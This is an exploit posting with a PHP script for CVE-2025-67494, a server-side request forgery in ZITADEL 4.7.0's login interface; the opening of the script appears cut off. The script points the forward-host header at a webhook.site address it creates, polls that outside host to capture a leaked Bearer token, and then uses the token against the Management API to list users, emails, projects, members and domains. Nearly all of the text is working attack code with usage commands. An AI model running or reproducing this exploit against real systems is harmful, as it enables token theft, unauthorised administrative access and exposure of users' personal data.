============================================================================================================================================= | # Title : ZITADEL 4.7.0 SSRF Exploit - PHP Version | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://github.com/zitadel | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212661/ & CVE-2025-67494 [+] Summary : This PHP script exploits CVE-2025-67494, a Server-Side Request Forgery (SSRF) vulnerability in ZITADEL's login interface that allows attackers to retrieve Bearer tokens and access the Management API. [+] SSRFExploiter Class : Sends malicious SSRF requests to ZITADEL's /ui/v2/login endpoint Uses the x-zitadel-forward-host header to redirect requests to attacker-controlled servers [+] POC : # Basic usage (auto-detects API URL) php exploit.php -u http://target:29000 # Specify custom API URL php exploit.php --ui-url http://target.com --api-url http://target.com:28080 --timeout 120 true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPHEADER => ['Content-Type: application/json'] ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if (in_array($httpCode, [200, 201])) { $data = json_decode($response, true); $token = $data['uuid'] ?? null; if ($token) { $this->token = $token; $this->url = "https://webhook.site/{$token}"; return [$token, $this->url]; } } } catch (Exception $e) { $this->logError("Error creating webhook: " . $e->getMessage()); } return [null, null]; } public function getRequests($timeout = 60) { if (!$this->token) { return null; } $url = "https://webhook.site/token/{$this->token}/requests"; $startTime = time(); $pollInterval = 5; $lastCheck = 0; while (time() - $startTime < $timeout) { $elapsed = time() - $startTime; try { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10 ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200) { $data = json_decode($response, true); $total = is_array($data) && isset($data['total']) ? (int)$data['total'] : 0; if ($total > $lastCheck) { $this->logInfo("Webhook received {$total} request(s)..."); $lastCheck = $total; } if (isset($data['data']) && is_array($data['data']) && count($data['data']) > 0) { return $data['data']; } } $remaining = $timeout - $elapsed; if ($remaining > 0 && $remaining % 10 == 0 && $elapsed > 5) { $this->logInfo("Waiting for SSRF request... ({$remaining}s remaining)"); } } catch (Exception $e) { $this->logError("Error polling webhook: " . $e->getMessage()); } if ($elapsed < $timeout) { sleep($pollInterval); } } return null; } public function extractBearerToken($requestsData) { if (!$requestsData) { return null; } foreach ($requestsData as $req) { $headers = $req['headers'] ?? []; foreach ($headers as $key => $value) { if (strtolower($key) === 'authorization') { $authHeader = is_array($value) ? ($value[0] ?? '') : $value; if (strpos($authHeader, 'Bearer ') === 0) { return substr($authHeader, 7); } } } } return null; } public function getUrl() { return $this->url; } private function logInfo($message) { echo "[*] $message\n"; } private function logError($message) { echo "[!] $message\n"; } } class SSRFExploiter { private $targetUrl; public function __construct($targetUrl) { $this->targetUrl = $targetUrl; } public function exploit($oobHost) { $this->logInfo("Exploiting SSRF to {$this->targetUrl}"); $this->logInfo("OOB host: {$oobHost}"); $url = "{$this->targetUrl}/ui/v2/login"; $headers = ["x-zitadel-forward-host: {$oobHost}"]; try { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_HTTPHEADER => $headers ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); $this->logSuccess("SSRF request sent (status: {$httpCode})"); return true; } catch (Exception $e) { $this->logError("Error during SSRF exploitation: " . $e->getMessage()); return false; } } private function logInfo($message) { echo "[*] $message\n"; } private function logSuccess($message) { echo "[+] $message\n"; } private function logError($message) { echo "[!] $message\n"; } } class ZitadelAPI { private $baseUrl; private $token; private $searchQuery = '{"query": {"offset": "0", "limit": 10}}'; public function __construct($baseUrl, $token) { $this->baseUrl = $baseUrl; $this->token = $token; } private function apiRequest($method, $endpoint, $errorMsg = "", $isPost = false) { $url = "{$this->baseUrl}/management/v1/{$endpoint}"; $headers = ["Authorization: Bearer {$this->token}"]; if ($isPost) { $headers[] = "Content-Type: application/json"; } try { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPHEADER => $headers ]); if (strtoupper($method) === 'POST') { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $this->searchQuery); } $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200) { return json_decode($response, true); } } catch (Exception $e) { if ($errorMsg) { $this->logError("{$errorMsg}: " . $e->getMessage()); } } return null; } public function getIamInfo() { return $this->apiRequest('GET', 'iam', 'Error retrieving IAM info'); } public function getOrgInfo() { return $this->apiRequest('GET', 'orgs/me', 'Error retrieving org info'); } public function listUsers() { return $this->apiRequest('POST', 'users/_search', 'Error listing users', true); } public function listProjects() { return $this->apiRequest('POST', 'projects/_search', 'Error listing projects', true); } public function listOrgMembers() { return $this->apiRequest('POST', 'orgs/me/members/_search', 'Error listing members', true); } public function listOrgDomains() { return $this->apiRequest('POST', 'orgs/me/domains/_search', 'Error listing domains', true); } public function getUserMemberships($userId) { $endpoint = "users/{$userId}/memberships/_search"; return $this->apiRequest('POST', $endpoint, 'Error retrieving memberships', true); } private function logError($message) { echo "[!] $message\n"; } } class DataFormatter { public static function formatIamInfo($data) { if (!$data) return null; $gid = $data['globalOrgId'] ?? 'N/A'; $pid = $data['iamProjectId'] ?? 'N/A'; $did = $data['defaultOrgId'] ?? 'N/A'; return "Global Org ID: {$gid}\nIAM Project ID: {$pid}\nDefault Org ID: {$did}"; } public static function formatOrgInfo($data) { if (!$data || !isset($data['org'])) return null; $org = $data['org']; $oid = $org['id'] ?? 'N/A'; $name = $org['name'] ?? 'N/A'; $state = $org['state'] ?? 'N/A'; $domain = $org['primaryDomain'] ?? 'N/A'; return "ID: {$oid}\nName: {$name}\nState: {$state}\nPrimary Domain: {$domain}"; } public static function formatUsers($data) { return self::formatList($data, function($user) { $userType = isset($user['machine']) ? "Machine" : "Human"; $username = $user['userName'] ?? 'N/A'; $state = $user['state'] ?? 'N/A'; if (isset($user['human']['email']['email'])) { $email = $user['human']['email']['email']; return "{$userType}: {$username} ({$email}) - {$state}"; } return "{$userType}: {$username} - {$state}"; }); } public static function formatProjects($data) { return self::formatList($data, function($project) { $name = $project['name'] ?? 'N/A'; $id = $project['id'] ?? 'N/A'; $state = $project['state'] ?? 'N/A'; return "{$name} (ID: {$id}) - {$state}"; }); } public static function formatMembers($data) { return self::formatList($data, function($member) { $email = $member['email'] ?? 'N/A'; $roles = implode(", ", $member['roles'] ?? []); return "{$email} - Roles: {$roles}"; }); } public static function formatDomains($data) { return self::formatList($data, function($domain) { $domainName = $domain['domainName'] ?? 'N/A'; $verified = !empty($domain['isVerified']) ? "Verified" : "Not Verified"; $primary = !empty($domain['isPrimary']) ? "Primary" : ""; $result = "{$domainName} - {$verified}"; if ($primary) $result .= " {$primary}"; return trim($result); }); } public static function formatMemberships($data) { return self::formatList($data, function($membership) { $orgName = $membership['displayName'] ?? 'N/A'; $roles = implode(", ", $membership['roles'] ?? []); $iam = !empty($membership['iam']) ? "IAM" : "Org"; return "{$iam}: {$orgName} - Roles: {$roles}"; }); } private static function formatList($data, $formatter) { if (!$data || !isset($data['result']) || empty($data['result'])) { return null; } $items = array_map($formatter, $data['result']); $items = array_filter($items); return !empty($items) ? implode("\n", $items) : null; } } function printInfo($title, $data, $formatter = null) { if (!$data) return; echo "\n" . str_repeat('=', 60) . "\n"; echo "{$title}\n"; echo str_repeat('=', 60) . "\n"; if ($formatter) { $formatted = call_user_func($formatter, $data); if ($formatted) { echo "{$formatted}\n"; } } else { echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n"; } } function parseArguments() { global $argv; $options = [ 'ui-url:' => 'u:', 'api-url:' => 'a:', 'timeout:' => '', 'help' => 'h' ]; $parsed = getopt(implode('', array_values($options)), array_keys($options)); $args = []; $args['ui-url'] = $parsed['u'] ?? $parsed['ui-url'] ?? null; $args['api-url'] = $parsed['a'] ?? $parsed['api-url'] ?? null; $args['timeout'] = $parsed['timeout'] ?? 60; $args['help'] = isset($parsed['h']) || isset($parsed['help']); return $args; } function showHelp() { echo "By indoushka - Exploit for CVE-2025-67494 - ZITADEL SSRF with automatic Bearer token retrieval\n\n"; echo "Usage: php " . basename(__FILE__) . " [options]\n\n"; echo "Options:\n"; echo " -u, --ui-url ZITADEL Login UI URL (e.g., http://localhost:29000)\n"; echo " -a, --api-url ZITADEL Management API URL (e.g., http://localhost:28080).\n"; echo " If not provided, will be auto-detected from UI URL\n"; echo " --timeout Timeout in seconds (default: 60)\n"; echo " -h, --help Show this help message\n"; } function main() { $args = parseArguments(); if ($args['help'] || !$args['ui-url']) { showHelp(); exit($args['help'] ? 0 : 1); } // إضافة البروتوكول إذا لم يكن موجودًا $uiUrl = $args['ui-url']; if (!preg_match('#^https?://#i', $uiUrl)) { $uiUrl = "http://" . $uiUrl; echo "[*] Added protocol to UI URL: {$uiUrl}\n"; } if ($args['api-url']) { $baseUrl = $args['api-url']; if (!preg_match('#^https?://#i', $baseUrl)) { $baseUrl = "http://" . $baseUrl; } } else { $parsed = parse_url($uiUrl); // قيم افتراضية في حالة عدم وجود بيانات $scheme = $parsed['scheme'] ?? 'http'; $host = $parsed['host'] ?? '127.0.0.1'; $port = $parsed['port'] ?? null; // حاول تحديد المنفذ الصحيح بناءً على المنفذ المدخل if ($port == 28080) { // إذا كان المنفذ 28080 (API)، فاستخدم 29000 للـ UI $uiUrl = "{$scheme}://{$host}:29000"; $baseUrl = "{$scheme}://{$host}:28080"; } elseif ($port == 29000) { // إذا كان المنفذ 29000 (UI)، فاستخدم 28080 للـ API $uiUrl = "{$scheme}://{$host}:29000"; $baseUrl = "{$scheme}://{$host}:28080"; } else { // إذا كان منفذ آخر، افترض أنه UI واستخدم المنفذ الافتراضي للـ API $baseUrl = "{$scheme}://{$host}:28080"; } echo "[*] Auto-detected: UI on {$uiUrl}, API on {$baseUrl}\n"; } echo "[*] Starting CVE-2025-67494 exploit\n"; echo "[*] UI URL: {$uiUrl}, API URL: {$baseUrl}\n"; // ... باقي الكود $webhook = new WebhookManager(); echo "[*] Creating webhook.site URL via API...\n"; list($webhookToken, $webhookUrl) = $webhook->create(); if (!$webhookToken) { echo "[!] Failed to create webhook via API\n"; exit(1); } $oobHost = "{$webhookToken}.webhook.site"; echo "[+] Webhook created: {$webhookUrl}\n"; echo "[*] OOB host: {$oobHost}\n"; $exploiter = new SSRFExploiter($uiUrl); echo "[*] Sending SSRF request...\n"; $exploiter->exploit($oobHost); $timeout = (int)$args['timeout']; echo "[*] Polling webhook for Bearer token (timeout: {$timeout}s)...\n"; $requestsData = $webhook->getRequests($timeout); if (!$requestsData) { echo "[!] Timeout: No requests received within {$timeout} seconds\n"; exit(1); } $token = $webhook->extractBearerToken($requestsData); if (!$token) { echo "[!] Bearer token not found in webhook requests\n"; exit(1); } echo "[+] Bearer token successfully retrieved!\n"; echo "[*] Token: " . substr($token, 0, 50) . "...\n"; echo "[*] Retrieving information via Management API...\n"; $api = new ZitadelAPI($baseUrl, $token); $iamInfo = $api->getIamInfo(); printInfo("IAM Information", $iamInfo, ['DataFormatter', 'formatIamInfo']); $orgInfo = $api->getOrgInfo(); printInfo("Organization Information", $orgInfo, ['DataFormatter', 'formatOrgInfo']); $users = $api->listUsers(); printInfo("Users", $users, ['DataFormatter', 'formatUsers']); if ($users && isset($users['result']) && count($users['result']) > 0) { $firstUserId = $users['result'][0]['id']; $memberships = $api->getUserMemberships($firstUserId); printInfo("User Memberships (User ID: {$firstUserId})", $memberships, ['DataFormatter', 'formatMemberships']); } $projects = $api->listProjects(); printInfo("Projects", $projects, ['DataFormatter', 'formatProjects']); $members = $api->listOrgMembers(); printInfo("Organization Members", $members, ['DataFormatter', 'formatMembers']); $domains = $api->listOrgDomains(); printInfo("Organization Domains", $domains, ['DataFormatter', 'formatDomains']); echo "[+] Exploitation completed successfully!\n"; } if (PHP_SAPI === 'cli') { main(); } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================